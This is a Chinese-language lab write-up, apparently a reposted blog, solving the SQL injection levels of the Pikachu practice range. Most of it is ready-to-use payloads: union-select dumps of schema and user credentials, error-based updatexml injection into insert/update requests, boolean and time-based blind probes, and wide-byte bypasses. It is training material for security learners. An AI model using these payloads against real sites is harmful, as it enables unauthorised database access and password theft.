IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> 皮卡丘靶场之sql注入 -> 正文阅读

[大数据]皮卡丘靶场之sql注入

1数字型注入(post)

这里,我们首先随便输入选择一个数字,然后用burp suite 抓包,如下图:
图1在这里插入图片描述post传递的数据是:id=1&submit=%E6%9F%A5%E8%AF%A2,接下来方便观看,我使用hackbar进行,也可以直接在BP上进行修改.
1.首先验证是否存在漏洞,这里我们知道是数字型,所以可以直接输入
payload:id=1 or 1=1&submit=%E6%9F%A5%E8%AF%
在这里插入图片描述2.然后就是order by 寻找列数,一般使用二分法去从寻找,这里我直接给出答案是2,下面会有一张错误截图,和正确截图
payload:id=1 order by 5&submit=%E6%9F%A5%E8%AF%
在这里插入图片描述在这里插入图片描述3.然后就是联合查询获取数据,这里获取用户名和数据库名,将id改成不存在,可以避免输出原信息,方便查看
payload:id=-1 union select user(),database()&submit=%E6%9F%A5%E8%AF%
在这里插入图片描述4.拿到数据库名后就开始获取表名了,information_schema是系统自带的数据库,在这个库里会有你其他数据库的表名,列明,大家可以自己进入数据库进行查看
payload:id=-1 union select table_name,2 from information_schema.tables where table_schema = ‘pikachu’&submit=%E6%9F%A5%E8%AF%
在这里插入图片描述5,现在我们在pikachu的库里获取到了五张表httpinfo,member,message,users,xssblind
users很明显会存在账号密码等数据,所以我们对这张表进行爆破列明
playload:id=-1 union select column_name,2 from information_schema.columns where table_name = ‘users’ and table_schema = ‘pikachu’&submit=%E6%9F%A5%E8%AF%
在这里插入图片描述6.现在我们拿到了列名,接下来就是爆破数据了,由于只能显示两个数据,所以这里我们获取,username,password
payload:union select username,password from users
在这里插入图片描述

2.字符型注入(get)

1.get类型会直接显示在url上,所以这个不需要抓包,通过直接观看源代码,我们可以得到是单引号标注
在这里插入图片描述2.payload:vince’ or 1=1#
这里我说明一下原理,正常的数据库执行语句是:
select ‘vince’ from 表名,我们输入的payload是替代了vince,
select ‘vince’ or 1=1#’ from 表名,这个的意义就是首先vince闭合不变,#将后面的单引号给注释掉,造成执行语句,当然这里也有很多可以进行改变的地方比如:vince’ or ‘1’=‘1 这个也是可以,然后还有注释–,不知道为什么在这里不可以使用
在这里插入图片描述3.在后面的方式其实就和前面一样了,后面我就直接给出payload:
一、vince’ order by 2#order by //获取列数
二、a’ union select user(),database() # //获取数据库名
三、a’ union select table_name,2 from information_schema.tables where table_schema = ‘pikachu’ # //得到表名
四、a’ union select column_name,2 from information_schema.columns where table_name = ‘users’ and table_schema = ‘pikachu’ # //得到列名
五、a’ union select username,password from users# //拿到账号密码

3.搜索型注入

1.搜索型注入其实原理就是前后添加了%,这是sql中模糊搜索的语法,知道原理,其实过程都相差不大,我直接放出payload,不懂得自己研究
一、a%’ and 1=1 #
二、a%’ order by 3 #
这里是3列
三、a%’ union select user(),database(),version()#
version()是获取数据库版本
四、a%‘union select table_name,2,3 from information_schema.tables where table_schema = ‘pikachu’#
五、a%’ union select column_name,2,3 from information_schema.columns where table_schema = ‘pikachu’ and table_name = ‘users’ #
六、a%’ union select username,password,3 from users #

4.xx型注入

1.查看源代码可以知道闭合类型是(‘vince’),直接上payload吧
一、vince’) and 1=1#
二、vince’) order by 2 #
三、a’) union select user(),database()#
四、a’) union select table_name,2 from information_schema.tables where table_schema = ‘pikachu’#
五、a’) union select column_name,2 from information_schema.columns where table_schema = ‘pikachu’ and table_name = ‘users’ #
六、a’) union select username,password from users #

5.“insert/update”注入

1.在这里利用的是报错注入的方式,去获取信息.首先我们注册信息,开启BP,抓一个包,拿到post传输的数据然后使用hackbar
username=aaa&password=111&sex=&phonenum=&email=&add=&submit=submit
在这里插入图片描述2.payload:username=aaa’ and updatexml(1,concat(0x7e,(select database()),0x7e),3) and ‘’,‘22’,‘33’,‘44’,‘55’,‘66’)#
&password=666666&sex=&phonenum=&email=&add=&submit=submit

这个payload看着好像很复杂其实很简单,updatexml大家可以去查这个函数的用法,我推荐一个博客,讲解简单清晰
https://blog.csdn.net/qq_37873738/article/details/88042610
3.使用上个payload可以获取数据库名字,然后是表名

payload:username=’ or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema =‘pikachu’),1,30),0x7e),3),‘123456’,‘3’,‘4’,‘5’,‘6’)#
&password=123456&sex=1&phonenum=&email=&add=&submit=submit

这里就是在原有基础上去增加了substr()函数和group_concat()函数,
group_concat()是因为只能显示一行,而substr(),则是最多只能显示32个字符,所以当超过32个字符时,只能执行多次,去获取。substr(数据,1,30),1和30,就是从第一个开始显示,显示30个字符,第二次将1改成30,多次循环,就可以获取完整数据了,图片如下:
在这里插入图片描述在这里插入图片描述4.接下来就不做演示,直接上payload

payload:username= ’ or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name = ‘users’),1,30),0x7e),3),‘123456’,‘3’,‘4’,‘5’,‘6’)#&password=123456&sex=1&phonenum=&email=&add=&submit=submit

payload:
username= ’ or updatexml(1,concat(0x7e,substr((select group_concat(username,password) from users ),1,30),0x7e),3),‘123456’,‘3’,‘4’,‘5’,‘6’)#&password=123456&sex=1&phonenum=&email=&add=&submit=submit
5.注册利用的时insert,接下来就是update了,使用注册的账号,登录进去,找到修改信息,同样使用BP抓一个修改信息的包
payload:sex=nv’ and updatexml(1,concat(0x7e,(select database()),0x7e),3) #&phonenum=4&add=5&email=6&submit=submit
接下来的payload,你们自己构建,相信看了这么多,你肯定也会了。

6.delete注入

1.我就提示一下,发表留言,然后删除去抓包,看你们自己了,同样是利用报错注入
在这里插入图片描述

7.http header 注入

1.http 头部注入的原理就是当你注册的时候你的UA字段和cookie会被记录,所以使用BP抓住登录的包,进行修改,进而插入
在这里插入图片描述在这里插入图片描述

8.盲注(base on boolian)

1.盲注是由于没有回显信息,所以只能通过插入sql语句去进行单个验证,这里我们知道第一个字符是p,对应的ascill码就是112,在这有个小技巧,就是使用BP的爆破功能去进行把爆破,首先可以用lenth()去获取长度,然后再输入ascii码的范围,进行爆破。
payload:vince’ and ascii(substr(database(),1,1))=112#

9.盲注(base on time)

1.基于时间,就是通过响应时间去获取准确的数值,下面给了两种方法,
vince’ and sleep(5)#
vince’ and if((substr(database(),1,1))=‘p’,sleep(5),null)#
vince’ and if(ascii((substr(database(),1,1)))=‘112’,sleep(5),null)#
按F12查看调试器可以去查看响应时间在这里插入图片描述

10.宽字节注入

宽字节注入就是单引号被转义了,所以需要通过加入其他符号,让其转义没有意义,不知道为什么用hackbar没用,用BP直接修改就可以
payload:name=kobe %df’ or 1=1#
在这里插入图片描述后续的payload自己构建。

sql注入就全部完成了

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-02-16 13:11:15  更:2022-02-16 13:11:23 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 11:26:18-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码